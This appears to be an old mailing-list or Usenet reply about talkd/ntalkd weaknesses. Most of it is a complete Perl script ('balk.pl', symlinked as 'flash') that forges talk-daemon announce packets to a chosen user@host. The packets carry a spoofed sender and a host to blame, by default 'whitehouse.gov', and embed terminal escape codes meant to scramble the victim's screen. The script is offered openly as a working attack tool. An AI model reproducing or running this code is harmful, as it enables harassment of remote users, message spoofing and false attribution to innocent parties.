Flash/talkd

[pat@pp2 (Patrick Mcdowell)]

> talkd and walld both pass binary data (on Sun's at least). Here's some source
> code I got from a friend.

Not to mention the talkd's will continue to pass any given hostname onto
the user.  tcp wrapper will throw the correct host into syslog, tho, if
you're monitoring talkd/ntalkd..

.. and flash.c?  I find it a little clumpy.  This should be friendlier:

#!/usr/local/bin/perl
# balk.pl: ln to balk, nbalk, obalk, and flash

srand;

@flashcodes=("\033c\033(0\033#8","\033[1;3r\033[J","\033[5m\033[?5h");
$blame="whitehouse.gov";
$default='nbalk';
 
sub AF_INET {2;}
sub SOCK_DGRAM {2;}
sub debug { print "DEBUG: ", @_, "\n"; }
 
#Big/Little Endian check to take care of VAX problem..
if ( unpack("c",pack("S",1)) eq 0 ) {
  $afinet=2; }
else {
  $afinet=512; }
 
$sockaddr='S n a4 x8';
 
$octl_msg='c a9 a9 x l l a16 c16 c16';
#type lname rname filler idnum pid r_tty addr ctl_addr
 
$ctl_msg='c c x2 l c16 c16 l a12 a12 a16';
#vers,type,filler;id_num;addr,ctl_addr;pid;l_name,r_name,r_tty;
 
#version 1, type 3=ANNOUNCE (want better id randomization)
$vers=1; $type=3; $id_num=rand(9999); $pid=rand(65535);
 
sub inet_addr {
  local($a,$b,$c,$d) = @_;
  pack("c4",$a,$b,$c,$d);
  }
 
chop($progname = `basename $0`);
if ( $progname eq 'balk') {
  $progname = $default; }
if ( $progname eq 'flash' ) {
  if ( ! $ARGV[0] ) {
    print STDERR "Usage: flash user@host [host2blame]\n";
    exit 1; }
  $blame=$ARGV[1] if $ARGV[1];
  foreach $code (@flashcodes) {
    exec("obalk", $ARGV[0], "$code@$blame");
    exec("nbalk", $ARGV[0], "$code@$blame"); }
  exit; }
if ( $progname eq 'obalk' ) {
  $old=1; }
else {
  $new=1; }
 
($crap,$r_tty)=split(/#/,$ARGV[0]);
($rname,$rhost)=split(/@/,$crap);
($fname,$fhost)=split(/@/,$ARGV[1]);
if ((!$rname) || (!$fname)) {
  print STDERR "Usage: $progname real-user fake-user\n";
  exit;
  }
chop($thishost=`hostname`);
$rhost=$thishost unless $rhost;
$fhost=$thishost unless $fhost;
$r_tty="\0" unless $r_tty;
 
($name, $aliases, $port) = getservbyname("talk","udp") if $old;
($name, $aliases, $port) = getservbyname("ntalk","udp") if $new;
#&debug("PORT ",$port);
#($name, $aliases, $proto) = getprotobyname("udp");
 
($name, $aliases, $htype, $len, $addr) = gethostbyname($rhost);
$addr = &inet_addr(split(/\./,$rhost)) if ($addr eq "");
 
#Send-data Real Host - used for real IO
$srhost = pack($sockaddr, &AF_INET, $port, $addr);
 
#Packed Real Host - used as input arg for ntalkd
$prhost = pack($sockaddr, $afinet, $port, $addr);
 
($name, $aliases, $htype, $len, $faddr) = gethostbyname($fhost);
$faddr = &inet_addr(split(/\./,$fhost)) if ($faddr eq "");
 
#Packet Fake Host - input for ntalkd, same little-endian problem
$pfhost = pack($sockaddr, $afinet, $port, $faddr);
 
$msg = pack($ctl_msg, $vers, $type, $id_num, unpack("c16",$prhost),
            unpack("c16",$pfhost), $pid, $fname, $rname, $r_tty) if $new;
 
$msg = pack($octl_msg, $type, $fname, $rname, 0, $pid, $r_tty,
            unpack("c16",$prhost), unpack("c16",$pfhost)) if $old;
 
#$c=0;
#foreach $a (split(/ */,$msg)) {
#  printf "%d:" , unpack("c",$a); $c=$c+1; }
#print "\nSize=$c\n";
#&debug("BOB");
#get socket and send data...
socket(DATA, &AF_INET, &SOCK_DGRAM, 0) || die "socket:$!\n";
send(DATA,$msg,0,$srhost) || die "send:$!";
close(DATA);